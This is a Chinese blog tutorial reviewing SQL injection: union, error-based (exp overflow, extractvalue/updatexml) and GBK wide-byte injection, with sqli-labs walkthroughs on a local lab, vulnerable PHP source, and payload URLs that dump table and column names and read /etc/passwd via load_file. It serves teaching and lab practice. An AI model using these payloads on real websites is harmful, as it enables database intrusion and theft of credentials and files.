SQL注入总结复习

news2025/1/31 23:58:19

SQL注入总结复习

一、前提
1、web三层架构
学习SQL注入,前提必须要了解web程序的三层架构。

  • 数据访问层(DAL)主要负责对数据库进行增删改查,将存储在数据库中的数据提交给业务层,同时将业务层处理的数据保存到数据库。
  • 业务逻辑层(BLL):UI层和DAL层之间的桥梁。实现业务逻辑。业务逻辑具体包含:验证、计算、业务规则等等。
  • 表现层(UI): 主要是指与用户交互的界面。用于接受用户的数据以及显示处理后用户需要的数据。
    2、示例
    <1>用户在web浏览器中输入www.boke.com,连接到博客服务器
    <2>业务逻辑层从本地存储中加载index.php进行解析。
    <3>在i解析ndex.php时,会建立与数据访问层的DBMS的连接,并执行sql语句。
    <4>数据访问层将sql语句的结果返回至业务逻辑层的web服务器
    <5>业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器
    <6>浏览器解析HTML后显示给用户
    在这里插入图片描述二、原理
    在程序运行中,web服务器会向数据访问层发起sql语句执行的请求,而且这些sql语句需要结合表示层用户的输入来构造,此时如果用户构造恶意语句且web服务器过滤不严的话,sql注入攻击发生。

联合注入

一、原理
联合查询主要是利用union连接符的特性。

1、UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
2、UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。
3、只有在前一条查询语句为假时,它才会去执行后一句SQL查询语句

报错注入

一、定义:报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息。总得来说,故意造成错误,然后利用mysql输出错误来获取信息。
二、使用条件
错误信息必须输出,也就是得有页面的报错信息显示出来。例如:print_r(mysql_error());
三、类型

  • BIGINT数据溢出错误
  • Xpath格式错误
  • concat+rand()+group_by()导致主键重复

BIGINT数据溢出错误

二、使用条件
1、首先我们需要知道mysql是怎样处理整型数据的
在这里插入图片描述
只有超过最大值,mysql才会报错。但是如果我们直接输入最大数的话会比较繁琐,我们可以直接使用按位取反运算 即可。

select ~0; 

在这里插入图片描述
在最大值的基础上加一即可实现溢出

select ~0+1;

在这里插入图片描述

2、在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况。
三、exp函数
在实际应用中,由于我们需要写sql语句,所以需要使用exp函数会比较方便。
1、函数介绍:exp(X)此函数返回e(自然对数的底)指数X的幂值。
在这里插入图片描述
2、示例

and exp(~(select * from (select user())a))

select user() a 将select user()的结果放在集合a中
select *from 将集合a中的数据显示出来
查询成功将会返回0,对0进行取反运算~即可造成报错
这里之所以使用嵌套查询是因为需要让大整数溢出 从而获取表名信息

3、playload

动作代码
获取表名and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))
获取列名信息and exp(~(select * from (select column_name from information_schema.columns where table_name=‘users’ limit 0,1)a))
获取列名对应的信息and exp(~(select * from(select username from ‘usres’ limit 0,1)))
读取文件and exp(~(select * from (select load_file(‘/etc/passwd’))a))

这里需要注意,之所以使用limit 0,1是因为mysql输出报错信息有长度限制,需要一个一个爆破。具体可以在mysql/my_error.c看到

/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */

#define ERRMSGSIZE (512)

xpath报错注入

一、原理
xpath报错主要依据两大函数:extractvalueupdatexml

  • extractvalue(XML_document,XPath_string):对XML文档进行查询
  • updatexml(XML_document,XPath_string,new value):对XML文档进行修改

原理就出在参数Xpath_string上,XPath_string的格式是/XXX/XXX/XXX,如果出现非法字符~就会造成报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
在这里插入图片描述
如果我们构造一个特殊的错误

select extractvalue('1',concat('~',(select database())));

在这里插入图片描述
由此可见,数据库名已经显示出来了。

二、具体示例
以sql-labs第五关为例
1、解题步骤
<1>打开,页面如下
在这里插入图片描述
<2>利用order by判断列数

http://127.0.0.1/sqli/Less-5/?id=1'  order by 3--+

在这里插入图片描述
将3改成4
在这里插入图片描述
由此可以判断出列数为3。
<3>尝试联合注入
在这里插入图片描述
发现没有回显位,尝试报错注入。
<4>爆破数据库

http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+

在这里插入图片描述

http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 1,1))) --+

在这里插入图片描述

http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 2,1))) --+

在这里插入图片描述

http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1))) --+

在这里插入图片描述
<5>爆破列名

http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1 ))) --+

在这里插入图片描述

http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1 ))) --+

在这里插入图片描述
按照上述步骤依次进行即可,在此就不多做赘述了。
2、源码审计

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "<br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

漏洞的产生如下:首先,使用include()函数引用文件sql-connect.php,建立与数据库的连接。其次isset()函数判断是否输入,如果用户已经输入,将用户输入的值拼接到sql语句中,并利用mysql_query执行。如果在执行的过程中出现错误,print_r(mysql_error())函数报错。

宽字节注入

一、课前知识
1、什么是宽字节?
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节。在宽字节中,一个英文字母占一个字节,而一个汉字占两个字节。
2、哪些编码采用宽字节?
GB2312、GBK、GB18030、BIG5、Shift_JIS
二、原理
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,如果前一个ascii值大于128,那么就会认为两个字符是一个汉字 。例如%df,这个字符的ascii值就大于128,进入了汉字的范围,如果我们使用单引号构造闭合时,mysql会调用转义函数:addslashes(),将单引号变为\',其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是運’,从而使单引号闭合(逃逸),进行注入攻击。
编码流程如下图
image.png
如此这样,单引号'就逃逸了函数addslashes的过滤限制。
三、示例
这里以sql-labs 32关为例
1、解题步骤
<1>打开关卡尝试'闭合
image.png
发现addslashes()函数已经加上了一个\,这样单引号就起不了作用。
<2>尝试利用宽字节注入,添加一个%df

http://127.0.0.1/sqli/Less-32/?id=1%df'

image.png
出现报错,因为addslashes()函数添加的\在经过url编码后变成了5C,正好与前面的DF相结合,在GKB编码下它们被当作一个汉字,这个汉字就是,而单引号就成功造成闭合,造成报错。
image.png
<3>下面的工作就简单多了
image.png
在此我也不再多做赘述。
2、源码审计
核心源码如下
可以看到 id 参数传入时,会先经过 check_addslashes() 函数,该函数起到的作用应该就是转义字符了。注意网页会把数据库的编码改成 GBK,给宽字节注入提供了可能性。

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash


    return $string;
}

利用方法check_addslashes()添加了对单引号'的过滤。

盲注

一、概念:顾名思义,就是在页面没有来自数据库回显的情况下对数据进行猜解

布尔盲注

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/104594.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

第七章 集合相关知识

什么是集合 为了存储不同类型的多个对象, Java提供了一系列特殊的类, 这些类可以存储任意类型的对象&#xff0c;并且存储的长度可变,被统称为集合。集合可以简单理解为一个长度可变可以存储不同数据类型的动态数组。集合都位于java.uti包中,使用集合时必须导入java.util包。 …

前端二面必会手写面试题汇总

实现Vue reactive响应式 // Dep module class Dep {static stack []static target nulldeps nullconstructor() {this.deps new Set()}depend() {if (Dep.target) {this.deps.add(Dep.target)}}notify() {this.deps.forEach(w > w.update())}static pushTarget(t) {if …

LeetCode刷题复盘笔记—一文搞懂动态规划之300. 最长递增子序列问题(动态规划系列第二十七篇)

今日主要总结一下动态规划的一道题目&#xff0c;300. 最长递增子序列 题目&#xff1a;300. 最长递增子序列 Leetcode题目地址 题目描述&#xff1a; 给你一个整数数组 nums &#xff0c;找到其中最长严格递增子序列的长度。 子序列 是由数组派生而来的序列&#xff0c;删除…

想要月入过万?不防尝试一下Python这个职业!

自从20世纪90年代初发布以来&#xff0c;Python一直相当火爆&#xff0c;在这二十多年里&#xff0c;它的流行程度远远超过了C、C#、Java甚至Javascript。 Python为什么受欢迎&#xff1f; Python迅猛发展背后的一个主要驱动力是它学习起来相当容易&#xff0c;使用起来功能强…

程序员需要了解的硬核知识CPU

大家都是程序员&#xff0c;大家都是和计算机打交道的程序员&#xff0c;大家都是和计算机中软件硬件打交道的程序员&#xff0c;大家都是和CPU打交道的程序员&#xff0c;所以&#xff0c;不管你是玩儿硬件的还是做软件的&#xff0c;你的世界都少不了计算机最核心的 - CPU C…

【C语言进阶】通讯录不好用?进来,零基础带你写出自己的通讯录

目录 &#x1f929;前言&#x1f929;&#xff1a; &#x1f60e;正文&#xff1a;编写通讯录&#x1f60e;&#xff1a; 1.文件建立&#xff1a; ①.头文件Contact.h&#xff1a; ②.函数定义文件Contact.c&#xff1a; ③.工程测试文件test.c&#xff1a; 2.通讯录整体执行…

A White Paper on Neural Network Quantization--阅读笔记1

A White Paper on Neural Network Quantization--阅读笔记1一、模型量化的意义二、量化主要做什么三、目前量化主要分类四、量化基本知识介绍0、基本知识1、误差来源2、量化范围的设定五、量化方法介绍1、均匀仿射量化(Uniform affine quantization)2、对称均匀量化(Symmetric …

热门技术中的应用:微服务相关协议-第35讲-二进制类RPC协议:还是叫NBA吧,总说全称多费劲

前面我们讲了两个常用文本类的RPC协议,对于陌生人之间的沟通,用NBA、CBA这样的缩略语,会使得协议约定非常不方便。 在讲CDN和DNS的时候,我们讲过接入层的设计,对于静态资源或者动态资源静态化的部分都可以做缓存。但是对于下单、支付等交易场景,还是需要调用API。 对于…

基于yolov5的智慧交通监测系统

本项目实现了智慧交通监测、红绿灯监测、行人监测、车辆识别、斑马线闯红灯监测等多种监测功能。 目录 背景 演示效果&#xff1a; 检测代码样例&#xff1a; 最后的检测效果如图所示 项目具体的工作流程为&#xff1a; 总结&#xff1a; 背景 针对城市交通拥堵问题&#x…

Effective C++条款33:避免遮掩继承而来的名称(Avoid hiding inherited names)

Effective C条款33&#xff1a;避免遮掩继承而来的名称&#xff08;Avoid hiding inherited names&#xff09;条款33&#xff1a;避免遮掩继承而来的名称1、同名全局变量在局部作用域中被隐藏2、继承中的隐藏3、进一步论证——继承中的函数的隐藏4、如何将隐藏的行为进行覆盖4…

vTESTstudio入门到精通 - 如何自动化控制Simulation节点_03

我们工作中经常会遇到需要仿真大量的CAN/CANFD报文的情况,通常我们只能通过人工去测试,因为很难实现仿真控制大量报文的发送和停止?那我们该如何去解决呢? 今天我们主要来解决这个问题,通过CAPL去控制simulation节点的仿真发送和停止,最大限度的在实验室仿真实车的报文数…

段错误产生原因

嵌入式C开发&#xff0c;或多或少都遇到段错误&#xff08;segmentation fault &#xff09;。 下面是一些典型的段错误产生的原因&#xff1a; 访问不存在的内存地址 访问只读的内存地址 栈溢出 内存越界 …… 实例 1. 访问不存在的内存地址 #include <stdio.h>in…

小学生C++编程基础 课程7(A)

897.a到b (课程7&#xff09; 难度&#xff1a;1 登录 898.2位偶数 &#xff08;课程7&#xff09; 难度&#xff1a;1 登录 899.从0开始&#xff08;课程7&#xff09; 登录 900.前面数 &#xff08;课程7&#xff09; 登录 901.奇数 (课程7) 登录 902.7的倍数 (课程7) …

第二证券|新冠药销售占比不到1.5%,三连板医药龙头跌停!

今天早盘&#xff0c;A股商场延续调整态势&#xff0c;沪指震动失守3100点整数关口&#xff0c;深证成指、创业板指跌幅在1%左右。 虽然指数体现不佳&#xff0c;但个股层面不乏亮点。从涨跌份额来看&#xff0c;早盘A股商场有2695只股票上涨&#xff0c;2017只股票跌落&#x…

计算机毕设Python+Vue学生在线请假管理系统(程序+LW+部署)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

双向扩散模型

🍿*★,*:.☆欢迎您/$:*.★* 🍿 简单的描述是一个图先扩散为噪声而后 噪声扩散为另一个图 这样的思路类似如 当人类看到图之后 开始联想和脑补 不断的脑补 一步一步的 脑补出另一幅图 比如给定图的一部分 脑补出另一部分 与传统的扩散模型 不同的点在于 初始给定的是一个…

2022 UUCTF Web

目录 <1> Web (1) websign(禁用js绕过) (2) ez_rce(?>闭合 rce) (3) ez_unser(引用传递) (4) ez_upload(apache后缀解析漏洞) (5) ezsql(union注入) (6) funmd5(代码审计 %0a绕过preg_replace) (7) phonecode(伪随机数漏洞) (8) ezpop(反序列化字符串逃逸) …

Sharding-JDBC(三)按月分表

目录1.Maven 依赖2.创建表结构3.yml 配置4.TimeShardingAlgorithm.java 分片算法类5.ShardingAlgorithmTool.java 分片工具类6.ShardingTablesLoadRunner.java 初始化缓存类7.SpringUtil.java Spring工具类8.代码测试9.测试结果背景&#xff1a; 项目用户数据库表量太大&#x…

20221220英语学习

今日新词&#xff1a; hurt adj.&#xff08;身体上&#xff09;受伤的, &#xff08;感情上&#xff09;受伤的 blood n.血, 血统, 有…类型的血的, 家世 sister adj.姐妹的, 同类(型)的 humour n.&#xff08; humor&#xff09;幽默, 心情, 情绪, 脾气 holiness n.神圣…

UX设计师是做什么的,现在怎么样

对设计领域略知一点的学生都知道UX设计已经流行了很长一段时间&#xff0c;几年前它的平均工资甚至超过了程序员&#xff0c;那么它的未来会一如既往地保持它的热度吗&#xff1f;未来稳定增长的高薪会下降吗&#xff1f;UX可以称之为科技领域的新秀。根据去年的数据统计&#…